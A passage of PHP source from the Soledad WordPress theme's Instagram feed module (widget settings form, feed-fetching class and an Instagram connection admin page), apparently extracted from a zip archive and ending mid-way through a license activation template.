                        <select class="widefat" name="<?php echo $this->get_field_name( 'template' ); ?>"
                                id="<?php echo $this->get_field_id( 'template' ); ?>">
                            <option value="thumbs-no-border" <?php echo ( $instance['template'] == 'thumbs-no-border' ) ? ' selected="selected"' : ''; ?>><?php _e( 'Thumbnails - Without Border', 'soledad' ); ?></option>
                            <option value="thumbs" <?php echo ( $instance['template'] == 'thumbs' ) ? ' selected="selected"' : ''; ?>><?php _e( 'Thumbnails', 'soledad' ); ?></option>
                            <option value="slider" <?php echo ( $instance['template'] == 'slider' ) ? ' selected="selected"' : ''; ?>><?php _e( 'Slider - Normal', 'soledad' ); ?></option>
                            <option value="slider-overlay" <?php echo ( $instance['template'] == 'slider-overlay' ) ? ' selected="selected"' : ''; ?>><?php _e( 'Slider - Overlay Text', 'soledad' ); ?></option>
                        </select>
                    </label>
                </p>
                <p class="<?php if ( 'thumbs' != $instance['template'] && 'thumbs-no-border' != $instance['template'] ) {
					echo 'hidden';
				} ?>">
                    <label for="<?php echo $this->get_field_id( 'columns' ); ?>"><strong><?php _e( 'Number of Columns:', 'soledad' ); ?></strong>
                        <input class="small-text" id="<?php echo $this->get_field_id( 'columns' ); ?>"
                               name="<?php echo $this->get_field_name( 'columns' ); ?>"
                               value="<?php echo $instance['columns']; ?>"/>
                        <span class='penci-description'><?php _e( 'max is 10 ( only for thumbnails template )', 'soledad' ); ?></span>
                    </label>
                </p>
                <p>
                    <label for="<?php echo $this->get_field_id( 'orderby' ); ?>"><strong><?php _e( 'Order by', 'soledad' ); ?></strong>
                        <select class="widefat" name="<?php echo $this->get_field_name( 'orderby' ); ?>"
                                id="<?php echo $this->get_field_id( 'orderby' ); ?>">
                            <option value="date-ASC" <?php selected( $instance['orderby'], 'date-ASC', true ); ?>><?php _e( 'Date - Ascending', 'soledad' ); ?></option>
                            <option value="date-DESC" <?php selected( $instance['orderby'], 'date-DESC', true ); ?>><?php _e( 'Date - Descending', 'soledad' ); ?></option>
                            <option value="popular-ASC" <?php selected( $instance['orderby'], 'popular-ASC', true ); ?>><?php _e( 'Popularity - Ascending', 'soledad' ); ?></option>
                            <option value="popular-DESC" <?php selected( $instance['orderby'], 'popular-DESC', true ); ?>><?php _e( 'Popularity - Descending', 'soledad' ); ?></option>
                            <option value="rand" <?php selected( $instance['orderby'], 'rand', true ); ?>><?php _e( 'Random', 'soledad' ); ?></option>
                        </select>
                    </label>
                </p>
                <p>
                    <label for="<?php echo $this->get_field_id( 'images_link' ); ?>"><strong><?php _e( 'Link to', 'soledad' ); ?></strong>
                        <select class="widefat" name="<?php echo $this->get_field_name( 'images_link' ); ?>"
                                id="<?php echo $this->get_field_id( 'images_link' ); ?>">
                            <option value="image_url" <?php selected( $instance['images_link'], 'image_url', true ); ?>><?php _e( 'Instagram Image', 'soledad' ); ?></option>
                            <option value="user_url" <?php selected( $instance['images_link'], 'user_url', true ); ?>><?php _e( 'Instagram Profile', 'soledad' ); ?></option>
                            <option value="attachment" <?php selected( $instance['images_link'], 'attachment', true ); ?>><?php _e( 'Attachment Page', 'soledad' ); ?></option>
                            <option value="none" <?php selected( $instance['images_link'], 'none', true ); ?>><?php _e( 'None', 'soledad' ); ?></option>
                        </select>
                    </label>
                </p>
                <p class="<?php if ( 'custom_url' != $instance['images_link'] ) {
					echo 'hidden';
				} ?>">
                    <label for="<?php echo $this->get_field_id( 'custom_url' ); ?>"><?php _e( 'Custom link:', 'soledad' ); ?></label>
                    <input class="widefat" id="<?php echo $this->get_field_id( 'custom_url' ); ?>"
                           name="<?php echo $this->get_field_name( 'custom_url' ); ?>"
                           value="<?php echo $instance['custom_url']; ?>"/>
                    <span><?php _e( '* use this field only if the above option is set to <strong>Custom Link</strong>', 'soledad' ); ?></span>
                </p>
                <div class="penci-advanced-input">
                    <div class="penci-slider-options <?php if ( 'thumbs' == $instance['template'] || 'thumbs-no-border' == $instance['template'] ) {
						echo 'hidden';
					} ?>">
                        <h4 class="penci-advanced-title"><?php _e( 'Advanced Slider Options', 'soledad' ); ?></h4>
                        <p>
							<?php _e( 'Slider Navigation Controls:', 'soledad' ); ?><br>
                            <label class="penci-radio"><input type="radio"
                                                              id="<?php echo $this->get_field_id( 'controls' ); ?>"
                                                              name="<?php echo $this->get_field_name( 'controls' ); ?>"
                                                              value="prev_next" <?php checked( 'prev_next', $instance['controls'] ); ?> /> <?php _e( 'Prev & Next', 'soledad' ); ?>
                            </label>
                            <label class="penci-radio"><input type="radio"
                                                              id="<?php echo $this->get_field_id( 'controls' ); ?>"
                                                              name="<?php echo $this->get_field_name( 'controls' ); ?>"
                                                              value="numberless" <?php checked( 'numberless', $instance['controls'] ); ?> /> <?php _e( 'Dotted', 'soledad' ); ?>
                            </label>
                            <label class="penci-radio"><input type="radio"
                                                              id="<?php echo $this->get_field_id( 'controls' ); ?>"
                                                              name="<?php echo $this->get_field_name( 'controls' ); ?>"
                                                              value="none" <?php checked( 'none', $instance['controls'] ); ?> /> <?php _e( 'No Navigation', 'soledad' ); ?>
                            </label>
                        </p>
                        <p>
                            <label for="<?php echo $this->get_field_id( 'caption_words' ); ?>"><?php _e( 'Number of words in caption:', 'soledad' ); ?>
                                <input class="small-text" id="<?php echo $this->get_field_id( 'caption_words' ); ?>"
                                       name="<?php echo $this->get_field_name( 'caption_words' ); ?>"
                                       value="<?php echo $instance['caption_words']; ?>"/>
                            </label>
                        </p>
                        <p>
                            <label for="<?php echo $this->get_field_id( 'slidespeed' ); ?>"><?php _e( 'Slide Speed:', 'soledad' ); ?>
                                <input class="small-text" id="<?php echo $this->get_field_id( 'slidespeed' ); ?>"
                                       name="<?php echo $this->get_field_name( 'slidespeed' ); ?>"
                                       value="<?php echo $instance['slidespeed']; ?>"/>
                                <span><?php _e( 'milliseconds', 'soledad' ); ?></span>
                                <span class='penci-description'><?php _e( '1000 milliseconds = 1 second', 'soledad' ); ?></span>
                            </label>
                        </p>
                        <p>
                            <label for="<?php echo $this->get_field_id( 'description' ); ?>"><?php _e( 'Slider Text Description:', 'soledad' ); ?></label>
                            <select size=3 class='widefat' id="<?php echo $this->get_field_id( 'description' ); ?>"
                                    name="<?php echo $this->get_field_name( 'description' ); ?>[]" multiple="multiple">
                                <option value='username' <?php $this->selected( $instance['description'], 'username' ); ?>><?php _e( 'Username', 'soledad' ); ?></option>
                                <option value='time'<?php $this->selected( $instance['description'], 'time' ); ?>><?php _e( 'Time', 'soledad' ); ?></option>
                                <option value='caption'<?php $this->selected( $instance['description'], 'caption' ); ?>><?php _e( 'Caption', 'soledad' ); ?></option>
                            </select>
                            <span class="jr-description"><?php _e( 'Hold ctrl and click the fields you want to show/hide on your slider. Leave all unselected to hide them all. Default all selected.', 'soledad' ) ?></span>
                        </p>
                    </div>
                </div>
            </div>
			<?php
		}

		public function selected( $haystack, $current ) {

			if ( is_array( $haystack ) && in_array( $current, $haystack ) ) {
				selected( 1, 1, true );
			}
		}
	}
}
?>
PK     N\D0YN  N    inc/instagram/instagram.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
include( trailingslashit( PENCI_SOLEDAD_DIR ) . 'inc/instagram/widget.php' );
include( trailingslashit( PENCI_SOLEDAD_DIR ) . 'inc/instagram/dashpage.php' );

if ( ! class_exists( 'Penci_Instagram_Feed' ) ):
	class Penci_Instagram_Feed {
		public static function display_images( $args = null ) {

			$insta_token = get_option( 'penci_options[penci_instagram]' );

			$defaults = array(
				'access_token'     => isset( $insta_token['access_token'] ) && $insta_token['access_token'] ? $insta_token['access_token'] : '',
				'insta_user_id'    => isset( $insta_token['id'] ) && $insta_token['id'] ? $insta_token['id'] : '',
				'search_for'       => 'username',
				'username'         => isset( $insta_token['username'] ) && $insta_token['username'] ? $insta_token['username'] : '',
				'hashtag'          => '',
				'blocked_users'    => '',
				'template'         => 'thumbs-no-border',
				'images_link'      => 'image_url',
				'custom_url'       => '',
				'orderby'          => 'rand',
				'images_number'    => 5,
				'columns'          => 4,
				'refresh_hour'     => 5,
				'image_size'       => 'jr_insta_square',
				'image_link_rel'   => '',
				'image_link_class' => '',
				'no_pin'           => 0,
				'controls'         => 'prev_next',
				'caption_words'    => 20,
				'slidespeed'       => 7000,
				'description'      => array( 'username', 'time', 'caption' ),
			);

			$args = wp_parse_args( (array) $args, $defaults );

			if ( 'username' == $args['search_for'] && ! $args['access_token'] ) {
				if ( current_user_can( 'manage_options' ) ) {
					echo '<p style="text-align: center;">This message appears for Admin Users only:<br>Please fill the Instagram Access Token. You can get Instagram Access Token by go to <a
                            href="' . esc_url( admin_url( 'admin.php?page=penci_instgram_token' ) ) . '"
                            target="_blank">this page</a></p>';
				}

				return;
			} elseif ( 'hashtag' == $args['search_for'] && ! $args['hashtag'] ) {
				if ( current_user_can( 'manage_options' ) ) {
					echo '<p style="text-align: center;">This message appears for Admin Users only:<br>Please enter hashtag.</p>';
				}
			}

			$images_data = self::get_instagram_data( $args );

			//print_r( $images_data );


			if ( ! is_array( $images_data ) || ! $images_data ) {
				if ( current_user_can( 'manage_options' ) ) {
					echo '<p style="text-align: center;">This message appears for Admin Users only:<br>No any image found. Please check it again or try with another instagram account.</p>';
				}

				return;
			}

			$output = '';

			$i = 0;

			if ( $args['orderby'] != 'rand' ) {

				$orderby = explode( '-', $args['orderby'] );
				$func    = $orderby[0] == 'date' ? 'sort_timestamp_' . $orderby[1] : 'sort_popularity_' . $orderby[1];

				usort( $images_data, array( __CLASS__, $func ) );

			} else {

				shuffle( $images_data );
			}

			foreach ( $images_data as $key => $image_data ) {

				if ( $i >= $args['images_number'] ) {
					continue;
				}


				$image_url = $link_to = '';
				if ( 'image_url' == $args['images_link'] ) {
					$link_to = $image_data['link'];
				} elseif ( 'user_url' == $args['images_link'] ) {
					$link_to = 'https://www.instagram.com/' . $args['username'] . '/';
				}

				if ( $args['image_size'] == 'jr_insta_square' ) {
					$image_url = $image_data['url_thumbnail'];
				} elseif ( $args['image_size'] == 'full' ) {
					$image_url = $image_data['url'];
				} else {
					$image_url = $image_data['url'];
				}

				$short_caption = wp_trim_words( $image_data['caption'], 10, '...' );
				$caption       = wp_trim_words( $image_data['caption'], intval( $args['caption_words'] ), $more = null );
				$nopin         = ( 1 == $args['no_pin'] ) ? 'nopin="nopin"' : '';

				$image_src = '<span style="background-image:url('.$image_url.')" class="penci-image-holder instagram-square-lazy '.penci_layout_bg_class().'">'. penci_layout_img( $image_url ).'</span>';

				$image_output = $image_src;
				if ( $link_to ) {
					$image_output = '<a href="' . $link_to . '" rel="noopener" target="_blank"';

					if ( ! empty( $args['image_link_rel'] ) ) {
						$image_output .= ' rel="' . $args['image_link_rel'] . '"';
					}

					if ( ! empty( $args['image_link_class'] ) ) {
						$image_output .= ' class="' . $args['image_link_class'] . '"';
					}
					$image_output .= ' title="' . $short_caption . '">' . $image_src . '</a>';
				}

				if ( 'slider' == $args['template'] ) {
					$output .= '<div class="penci-insta-info swiper-slide">';
					$output .= '<img class="instagram-square-lazy" src="' . $image_url . '" alt="' . $short_caption . '" ' . $nopin . '/>';;

					if ( is_array( $args['description'] ) && count( $args['description'] ) >= 1 ) {

						$output .= '<div class="penci-insta-datacontainer">';

						if ( $image_data['timestamp'] && in_array( 'time', $args['description'] ) ) {
							$time   = human_time_diff( strtotime( $image_data['timestamp'] ), current_time( 'timestamp', true ) );
							$output .= "<span class='penci-insta-time'>{$time} ago</span>\n";
						}

						$username = $args['username'];
						if ( in_array( 'username', $args['description'] ) && $username ) {
							$output .= "<span class='penci-insta-username'>by <a rel='nofollow' href='https://www.instagram.com/{$username}/' target='_blank'>{$username}</a></span>\n";
						}

						if ( $caption != '' && in_array( 'caption', $args['description'] ) ) {
							$caption_words = isset( $args['caption_words'] ) ? $args['caption_words'] : 20;
							$caption       = preg_replace( '/@([a-z0-9_]+)/i', '&nbsp;<a href="https://www.instagram.com/$1/" rel="noopener" target="_blank">@$1</a>&nbsp;', $caption );
							$caption       = preg_replace( '/\#([a-zA-Z0-9_-]+)/i', '&nbsp;<a href="https://www.instagram.com/explore/tags/$1/" rel="noopener" target="_blank">$0</a>&nbsp;', $caption );
							$output        .= "<span class='penci-insta-caption'>" . wp_trim_words( $caption, $caption_words, '...' ) . "</span>\n";
						}

						$output .= "</div>\n";
					}

					$output .= "</div>";
				} elseif ( 'slider-overlay' == $args['template'] ) {
					$output .= '<div class="penci-insta-info swiper-slide">';
					$output .= '<img class="instagram-square-lazy" src="' . $image_url . '" alt="' . $short_caption . '" ' . $nopin . '/>';;

					if ( is_array( $args['description'] ) && count( $args['description'] ) >= 1 ) {

						$output .= '<div class="penci-insta-wrap"><div class="penci-insta-datacontainer">';

						if ( $image_data['timestamp'] && in_array( 'time', $args['description'] ) ) {
							$time   = human_time_diff( strtotime( $image_data['timestamp'] ), current_time( 'timestamp', true ) );
							$output .= "<span class='penci-insta-time'>{$time} ago</span>\n";
						}

						$username = $args['username'];
						if ( in_array( 'username', $args['description'] ) && $username ) {
							$output .= "<span class='penci-insta-username'>by <a rel='nofollow' href='https://www.instagram.com/{$username}/' target='_blank'>{$username}</a></span>\n";
						}

						if ( $caption != '' && in_array( 'caption', $args['description'] ) ) {
							$caption_words = isset( $args['caption_words'] ) ? $args['caption_words'] : 20;
							$caption       = preg_replace( '/@([a-z0-9_]+)/i', '&nbsp;<a href="https://www.instagram.com/$1/" rel="noopener" target="_blank">@$1</a>&nbsp;', $caption );
							$caption       = preg_replace( '/\#([a-zA-Z0-9_-]+)/i', '&nbsp;<a href="https://www.instagram.com/explore/tags/$1/" rel="noopener" target="_blank">$0</a>&nbsp;', $caption );
							$output        .= "<span class='penci-insta-caption'>" . wp_trim_words( $caption, $caption_words, '...' ) . "</span>\n";
						}

						$output .= "</div></div>";
					}

					$output .= "</div>";
				} else {
					$output .= "<li>";
					$output .= $image_output;
					$output .= "</li>";
				}

				$i ++;
			}


			$data_slider = ' data-auto="false"';
			$data_slider .= ' data-autotime="' . ( $args['slidespeed'] ? $args['slidespeed'] : '5000' ) . '"';
			$data_slider .= ' data-dots="' . ( 'numberless' == $args['controls'] ? 'true' : '' ) . '"';
			$data_slider .= ' data-nav="' . ( 'prev_next' == $args['controls'] ? '' : 'true' ) . '"';

			if ( $output ) {
				if ( 'slider' == $args['template'] ) {
					echo '<div class="penci-instaslider-normal swiper penci-owl-carousel penci-owl-carousel-slider"' . $data_slider . '><div class="swiper-wrapper">' . $output . '</div></div>';
				} elseif ( 'slider-overlay' == $args['template'] ) {
					echo '<div class="penci-instaslider-overlay swiper penci-owl-carousel penci-owl-carousel-slider"' . $data_slider . '><div class="swiper-wrapper">' . $output . '</div></div>';
				} elseif ( 'thumbs-no-border' == $args['template'] ) {
					echo '<div class="penci-insta-thumb"><ul class="thumbnails no-border penci-inscol' . $args['columns'] . '">' . $output . '</ul></div>';
				} else {
					echo '<div class="penci-insta-thumb"><ul class="thumbnails penci-inscol' . $args['columns'] . '">' . $output . '</ul></div>';
				}
			}
		}

		public static function get_instagram_data( $args ) {

			$blocked_users = $args['blocked_users'];
			if ( 'username' == $args['search_for'] ) {
				$search        = 'user';
				$search_string = $args['username'];
			} elseif ( $args['hashtag'] ) {
				$search              = 'hashtag';
				$search_string       = $args['hashtag'];
				$blocked_users_array = $blocked_users ? self::get_ids_from_usernames( $blocked_users ) : array();
			} elseif ( $args['hashtag'] ) {
				$search        = 'hashtag';
				$search_string = $args['hashtag'];
			} else {
				$search        = '';
				$search_string = '';
			}

			$opt_name   = 'penci_insta_' . md5( $search . '_' . $search_string );
			$insta_data = get_transient( $opt_name );
			$old_opts   = (array) get_option( $opt_name );

			$new_opts = array(
				'search'        => $search,
				'search_string' => $search_string,
				'blocked_users' => $blocked_users,
				'cache_hours'   => $args['refresh_hour'],
			);

			//print_r( self::get_images_data_for_token( $args['access_token'], $args['insta_user_id'] ) );

			if ( true === self::trigger_refresh_data( $insta_data, $old_opts, $new_opts ) ) {

				if ( 'username' == $args['search_for'] ) {
					$insta_data = self::get_images_data_for_token( $args['access_token'], $args['insta_user_id'] );
				} elseif ( $args['hashtag'] ) {
					$insta_data = self::get_images_data_for_hashtag( $search_string, $blocked_users_array );
				}

				update_option( $opt_name, $new_opts );

				if ( is_array( $insta_data ) && ! empty( $insta_data ) ) {
					set_transient( $opt_name, $insta_data, $args['refresh_hour'] * 60 * 60 );
				}
			}

			return $insta_data;
		}

		public static function trigger_refresh_data( $insta_data, $old_opts, $new_opts ) {
			$trigger = 0;

			if ( isset( $_GET['penci_remove_cache_ins'] ) ) {
				return true;
			}

			if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
				return false;
			}

			if ( false === $insta_data ) {
				$trigger = 1;
			}

			if ( is_array( $old_opts ) && is_array( $old_opts ) && array_diff( $old_opts, $new_opts ) !== array_diff( $new_opts, $old_opts ) ) {
				$trigger = 1;
			}

			if ( $trigger == 1 ) {
				return true;
			}

			return false;
		}

		public static function get_images_data_for_token( $access_token, $user_id ) {
			$data_images = array();

			$access_token = self::clean_token( $access_token );


			$response_url = 'https://graph.instagram.com/' . $user_id . '/media?fields=media_url,thumbnail_url,caption,id,media_type,timestamp,username,permalink,children{media_url,id,media_type,timestamp,permalink,thumbnail_url}&limit=30&access_token=' . $access_token;

			$response = wp_remote_get( $response_url, array( 'timeout' => 60, 'sslverify' => false ) );


			if ( ! is_wp_error( $response ) ) {
				$results      = json_decode( str_replace( '%22', '&rdquo;', $response['body'] ), true );
				$data_results = isset( $results['data'] ) ? (array) $results['data'] : array();

				if ( $data_results ) {
					foreach ( $data_results as $data_item ) {

						$data_item_id    = isset( $data_item['id'] ) ? $data_item['id'] : '';
						$data_media_type = isset( $data_item['media_type'] ) ? $data_item['media_type'] : '';

						$data_item_url_thumbnail = isset( $data_item['media_url'] ) ? $data_item['media_url'] : '';
						if ( 'VIDEO' == $data_media_type || 'video' == $data_media_type ) {
							$data_item_url_thumbnail = isset( $data_item['thumbnail_url'] ) ? $data_item['thumbnail_url'] : '';
						}

						if ( $data_item_id ) {
							$data_images[ $data_item_id ] = array(
								'code'          => '',
								'username'      => '',
								'user_id'       => '',
								'caption'       => isset( $data_item['caption'] ) ? $data_item['caption'] : '',
								'id'            => $data_item_id,
								'link'          => isset( $data_item['permalink'] ) ? $data_item['permalink'] : '',
								'popularity'    => 0,
								'timestamp'     => isset( $data_item['timestamp'] ) ? $data_item['timestamp'] : '',
								'url'           => $data_item_url_thumbnail,
								'url_thumbnail' => $data_item_url_thumbnail,
							);
						}
					}
				}
			}


			return $data_images;
		}

		public static function get_images_data_for_hashtag( $hashtag, $blocked_users_array ) {
			$response = wp_remote_get( 'https://www.instagram.com/explore/tags/' . trim( $hashtag ), array(
				'sslverify' => false,
				'timeout'   => 60
			) );


			$data_images = array();

			if ( is_wp_error( $response ) ) {
				return $data_images;
			}

			if ( $response['response']['code'] == 200 ) {
				$json = self::parse_instagram_html( $response );

				$results = json_decode( $json, true );

				if ( $results && is_array( $results ) ) {
					$entry_data = isset( $results['entry_data']['TagPage'][0]['graphql']['hashtag']['edge_hashtag_to_media']['edges'] ) ? $results['entry_data']['TagPage'][0]['graphql']['hashtag']['edge_hashtag_to_media']['edges'] : array();
					if ( $entry_data ) {

						$images_number = 0;
						foreach ( $entry_data as $current => $result ) {
							$owner_id = isset( $result['node']['owner']['id'] ) ? $result['node']['owner']['id'] : '';

							if ( in_array( $owner_id, $blocked_users_array ) ) {
								continue;
							}

							if ( $images_number > 12 ) {
								continue;
							}

							$comment_count = isset( $result['node']['edge_media_to_comment']['count'] ) ? (int) ( $result['node']['edge_media_to_comment']['count'] ) : 0;
							$liked_count   = isset( $result['node']['edge_liked_by']['count'] ) ? (int) ( $result['node']['edge_liked_by']['count'] ) : 0;

							$image_data['code']          = isset( $result['node']['shortcode'] ) ? $result['node']['shortcode'] : '';
							$image_data['username']      = '';
							$image_data['user_id']       = isset( $result['node']['owner']['id'] ) ? $result['node']['owner']['id'] : '';
							$image_data['caption']       = isset( $result['node']['edge_media_to_caption']['edges']['0']['node']['text'] ) ? self::sanitize( $result['node']['edge_media_to_caption']['edges']['0']['node']['text'] ) : '';
							$image_data['id']            = isset( $result['node']['id'] ) ? $result['node']['id'] : '';
							$image_data['link']          = isset( $result['node']['shortcode'] ) ? 'https://www.instagram.com/p/' . $result['node']['shortcode'] . '/' : '';
							$image_data['popularity']    = $comment_count + $liked_count;
							$image_data['timestamp']     = isset( $result['node']['taken_at_timestamp'] ) ? (float) $result['node']['taken_at_timestamp'] : '';
							$image_data['url']           = isset( $result['node']['display_url'] ) ? $result['node']['display_url'] : '';
							$image_data['url_thumbnail'] = isset( $result['node']['thumbnail_src'] ) ? $result['node']['thumbnail_src'] : '';

							$data_images[] = $image_data;

							$images_number ++;
						}
					}
				}
			}

			return $data_images;
		}

		private static function parse_instagram_html( $response ) {
			$json = str_replace( 'window._sharedData = ', '', strstr( $response['body'], 'window._sharedData = ' ) );

			// Compatibility for version of php where strstr() doesnt accept third parameter
			if ( version_compare( PHP_VERSION, '5.3.0', '>=' ) ) {
				$json = strstr( $json, '</script>', true );
			} else {
				$json = substr( $json, 0, strpos( $json, '</script>' ) );
			}

			$json = rtrim( $json, ';' );

			return $json;
		}

		private static function get_ids_from_usernames( $usernames ) {

			$users      = explode( ',', trim( $usernames ) );
			$user_ids   = (array) get_transient( 'penci_insta_user_ids' );
			$return_ids = array();

			if ( is_array( $users ) && ! empty( $users ) ) {

				foreach ( $users as $user ) {

					if ( isset( $user_ids[ $user ] ) ) {
						continue;
					}

					$response = wp_remote_get( 'https://www.instagram.com/' . trim( $user ), array(
						'sslverify' => false,
						'timeout'   => 60
					) );

					if ( is_wp_error( $response ) ) {

						return $response->get_error_message();
					}

					if ( $response['response']['code'] == 200 ) {

						$json = str_replace( 'window._sharedData = ', '', strstr( $response['body'], 'window._sharedData = ' ) );
						if ( version_compare( PHP_VERSION, '5.3.0', '>=' ) ) {
							$json = strstr( $json, '</script>', true );
						} else {
							$json = substr( $json, 0, strpos( $json, '</script>' ) );
						}

						$json    = rtrim( $json, ';' );
						$results = json_decode( $json, true );

						if ( $results && is_array( $results ) ) {

							$user_id = isset( $results['entry_data']['ProfilePage'][0]['graphql']['user']['id'] ) ? $results['entry_data']['ProfilePage'][0]['graphql']['user']['id'] : false;
							if ( $user_id ) {

								$user_ids[ $user ] = $user_id;

								set_transient( 'penci_insta_user_ids', $user_ids );
							}
						}
					}
				}
			}

			foreach ( $users as $user ) {
				if ( isset( $user_ids[ $user ] ) ) {
					$return_ids[] = $user_ids[ $user ];
				}
			}

			return $return_ids;
		}

		private static function sanitize( $input ) {

			if ( ! empty( $input ) ) {
				$utf8_2byte       = 0xC0 /*1100 0000*/
				;
				$utf8_2byte_bmask = 0xE0 /*1110 0000*/
				;
				$utf8_3byte       = 0xE0 /*1110 0000*/
				;
				$utf8_3byte_bmask = 0XF0 /*1111 0000*/
				;
				$utf8_4byte       = 0xF0 /*1111 0000*/
				;
				$utf8_4byte_bmask = 0xF8 /*1111 1000*/
				;

				$sanitized = "";
				$len       = strlen( $input );
				for ( $i = 0; $i < $len; ++ $i ) {

					$mb_char = $input[ $i ]; // Potentially a multibyte sequence
					$byte    = ord( $mb_char );

					if ( ( $byte & $utf8_2byte_bmask ) == $utf8_2byte ) {
						$mb_char .= $input[ ++ $i ];
					} else if ( ( $byte & $utf8_3byte_bmask ) == $utf8_3byte ) {
						$mb_char .= $input[ ++ $i ];
						$mb_char .= $input[ ++ $i ];
					} else if ( ( $byte & $utf8_4byte_bmask ) == $utf8_4byte ) {
						// Replace with ? to avoid MySQL exception
						$mb_char = '';
						$i       += 3;
					}

					$sanitized .= $mb_char;
				}

				$input = $sanitized;
			}

			return $input;
		}

		public static function clean_token( $maybe_dirty ) {
			if ( substr_count( $maybe_dirty, '.' ) < 3 ) {
				return str_replace( '634hgdf83hjdj2', '', $maybe_dirty );
			}

			$parts     = explode( '.', trim( $maybe_dirty ) );
			$last_part = $parts[2] . $parts[3];
			$cleaned   = $parts[0] . '.' . base64_decode( $parts[1] ) . '.' . base64_decode( $last_part );

			return $cleaned;
		}

		/**
		 * Sort Function for timestamp Ascending
		 */
		public static function sort_timestamp_ASC( $a, $b ) {
			return $a['timestamp'] <=> $b['timestamp'];
		}

		/**
		 * Sort Function for timestamp Descending
		 */
		public static function sort_timestamp_DESC( $a, $b ) {
			return $b['timestamp'] <=> $a['timestamp'];
		}

		/**
		 * Sort Function for popularity Ascending
		 */
		public static function sort_popularity_ASC( $a, $b ) {
			return $a['popularity'] <=> $b['popularity'];
		}

		/**
		 * Sort Function for popularity Descending
		 */
		public static function sort_popularity_DESC( $a, $b ) {
			return $b['popularity'] <=> $a['popularity'];
		}
	}
endif;
PK     N\Z      inc/instagram/dashpage.phpnu [        <?php

class InstgramSettingPages {
	function __construct() {
		if ( ! function_exists( 'sb_instagram_feed_init' ) ) {
			add_action( 'admin_menu', [ $this, 'add_settings_page' ], 90 );
			add_action( 'init', [ $this, 'sb_instagram_feed' ] );
		}
	}

	public function add_settings_page() {
		add_submenu_page(
			'soledad_dashboard_welcome',
			esc_html__( 'Connect Instagram', 'soledad' ),
			esc_html__( 'Connect Instagram', 'soledad' ),
			'manage_options',
			'penci_instgram_token',
			[ $this, 'dashboard_content' ],
			3
		);
	}

	public function sb_instagram_feed() {
		if ( ! is_admin() || ! current_user_can( 'manage_options' ) ) {
			return;
		}

		if ( ! empty( $_GET['page'] ) && sanitize_text_field( $_GET['page'] ) === 'sbi-feed-builder' ) {

			if ( ! empty( $_GET['sbi_access_token'] ) && current_user_can( 'manage_options' ) ) {

				$expires_in        = (int) $_GET['sbi_expires_in'];
				$expires_timestamp = time() + $expires_in;

				$account = [
					'id'           => sanitize_text_field( $_GET['sbi_id'] ),
					'username'     => sanitize_text_field( $_GET['sbi_username'] ),
					'access_token' => $this->sanitize_alphanumeric_and_equals( sanitize_text_field( $_GET['sbi_access_token'] ) ),
					'expires_on'   => (int) $expires_timestamp,
				];
				update_option( 'penci_options[penci_instagram]', $account );
			}

			// Redirect
			$redirect = admin_url( 'admin.php?page=penci_instgram_token' );
			wp_redirect( $redirect );

			exit;
		}
	}

	public function clean( $maybe_dirty ) {

		if ( substr_count( $maybe_dirty, '.' ) < 3 ) {
			return str_replace( '634hgdf83hjdj2', '', $maybe_dirty );
		}

		$parts     = explode( '.', trim( $maybe_dirty ) );
		$last_part = $parts[2] . $parts[3];
		$cleaned   = $parts[0] . '.' . base64_decode( $parts[1] ) . '.' . base64_decode( $last_part );

		return $cleaned;
	}

	public function dashboard_content() {
		$current_user          = wp_get_current_user();
		$instagram_api		   = 'https://www.instagram.com/oauth/authorize?client_id=1070624227814319&redirect_uri=https://connect-ig.smashballoon.com/instagram-business-redirect.php&response_type=code&scope=instagram_business_basic&state={%27{url={%27{url='.admin_url( 'admin.php?page=sbi-feed-builder' ).'}%27},user=' . $current_user->user_email . ',opt=in,sbi_con=f9ca19d9ce,type=business_basic,vn=6.6.1,v=free}%27}';
		$instagram_token       = get_option( 'penci_options[penci_instagram]' );
		$instagram_label       = __( 'You\'ve not connected to any Instagram Account.', 'soledad' );
		$instagram_description = sprintf( __( 'You can <a class="%1$s" href="%2$s" target="_blank">click here</a> to connect to your Instagram account.', 'soledad' ), 'penci_instagram_access_token instagram', $instagram_api );
		if ( is_array( $instagram_token ) && ! empty( $instagram_token ) ) {
			$instagram_label       = sprintf( __( 'Connected to account <strong>%s</strong>', 'soledad' ), $instagram_token['username'] );
			$instagram_description = sprintf( __( 'This token is valid until <strong>%1$s</strong> because Instagram just provide an active token in 30 days.<br>Before it expired, you should connect it again to make it won\'t break the connection to Instagram.<br>You can re-connect or connect to another Instagram account by click <a class="%2$s" href="%3$s" target="_blank">HERE</a>.', 'soledad' ), date( 'F d, Y H:i:s', (int) $instagram_token['expires_on'] ), 'penci_instagram_access_token instagram', $instagram_api );
		}
		?>
        <div class="penci-insta-token-wrapper">
            <div class="pc-ins-tk top-icon">
                <span class="dashicons dashicons-instagram"></span>
            </div>
            <div class="pc-ins-tk top-head">
                <h3><?php echo $instagram_label; ?></h3>
                <p>
					<?php echo $instagram_description; ?>
                </p>
            </div>
        </div>
		<?php
	}

	function sanitize_alphanumeric_and_equals( $value ) {
		return preg_replace( '/[^A-Za-z0-9=]/', '', $value );
	}
}

new InstgramSettingPages();
PK     N\    *  inc/installations/templates/activation.phpnu [        <div class="soledad-wizard-content-inner">
    <?php
    $license_data = get_option( 'penci_soledad_purchased_data' );
    if ( ! empty( $license_data ) && penci_soledad_is_activated() ) {
    ?>
    <div class="success-icon">
        <i class="dashicons dashicons-yes-alt"></i>
    </div>
    <h1 class="page-title-wz"><?php esc_html_e( 'Your site has been successfully registered with a valid license.', 'soledad' ); ?></h1>
    <p class="penci-license-detail-desc" style="font-size: 15px;">
        <?php
        if ( isset( $license_data['buyer'] ) && $license_data['buyer'] ) {
            $buyer         = $license_data['buyer'];
            $buyer_len     = strlen( $buyer );
            $buyer_display = substr( $buyer, 0, 1 ) . str_repeat( '*', $buyer_len - 2 ) . substr( $buyer, $buyer_len - 1, 1 );
            ?>
            <strong style="display: inline-block; margin-bottom: 8px; min-width: 140px;"><?php esc_html_e( 'Buyer Username', 'soledad' ); ?></strong> : &nbsp;&nbsp;
            <strong><?php echo $buyer_display; ?></strong><br>
        <?php } ?>
        <?php if ( isset( $license_data['bount_time'] ) && $license_data['bount_time'] ) { ?>
            <strong style="display: inline-block; margin-bottom: 8px; min-width: 140px;"><?php esc_html_e( 'Purchase Date', 'soledad' ); ?></strong> : &nbsp;&nbsp;
            <strong><?php echo $license_data['bount_time']; ?></strong><br>
        <?php } ?>
        <?php
        if ( isset( $license_data['purchase_code'] ) && $license_data['purchase_code'] ) {
            $purchased_code = $license_data['purchase_code'];
